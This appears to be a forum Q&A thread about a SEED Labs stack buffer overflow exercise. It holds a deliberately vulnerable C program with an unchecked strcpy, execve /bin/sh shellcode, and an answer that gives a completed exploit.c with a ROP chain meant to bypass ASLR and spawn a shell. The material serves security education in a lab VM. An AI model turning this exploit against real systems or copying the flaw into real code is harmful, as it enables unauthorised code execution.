Buffer Overflow, modified Seedlab question? - c

Question

In this Lab, I have exploit.c, stack.c and call_shellcode.c. Stack.c has been modifed so it prints out the buffer address and ebp address. I am running this on Virtual Machine, ubuntu 12.04 32 bit.
I have to use the vulnerable program stack.c and put code in exploit.c in order to create a shell when running my stack executable. Any help is appreciated.
Stack.c is down below Sorry for bad indentation, actual code has proper indentation.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
unsigned long int sp;
int cp(char *str)
{
// unsigned long int sp;
char buffer[12];
asm("movl %%ebp, %0" : "=r" (sp));
printf("$ebp is 0X%lx\n",sp);
strcpy(buffer, str);
printf("Buffer is at address %p\n",(void*)(&buffer));
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
cp(str);
printf("Returned Properly\n");
return 1;
}
And exploit.c is down below.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
I have ran gdb on my stack executable, compiled with gcc -o stack -z execstack -fno-stack-protector stack.c, and have found the buffer to be at address 0xbffff134 and ebp at 0xbffff148. I understand I have to somehow find my return address and make my payload be at that addresss? Some help regarding bufferoverflow with this assignment is needed please.

Answer 1

You need bypass ASLR, refer to the link below
https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-iii/
Find gadget:
pop ebx; ret; // construct ebx value
add al, 0x08; add dword [ebx+0x5D5B04C4], eax; ret; // construct eax value
add dword [ebx+0x0804A028], esp; call dword [0x08049F1C+eax*4]
construct eax and ebx value
write the ESP value to the 0804a020 memory, then execute it
Modified exploit.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
int main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
int i;
unsigned int *val = (unsigned int*)buffer;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
val[6] = 0x08048378; /* pop ebx; ret; */
val[7] = 0xaaa9a03c; /* ebx */
for(i=8; i<16; i++)
val[i] = 0x0804847c; /* add al, 0x08; add dword [ebx+0x5D5B04C4], eax; ret; */
val[16] = 0x08048378; /* pop ebx; ret; */
val[17] = 0xfffffff8; /* ebx */
val[18] = 0x08048462; /* add dword [ebx+0x0804A028], esp; */
/* call dword [0x08049F1C+eax*4] */
memcpy(&val[19], shellcode, sizeof(shellcode));
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
return 0;
}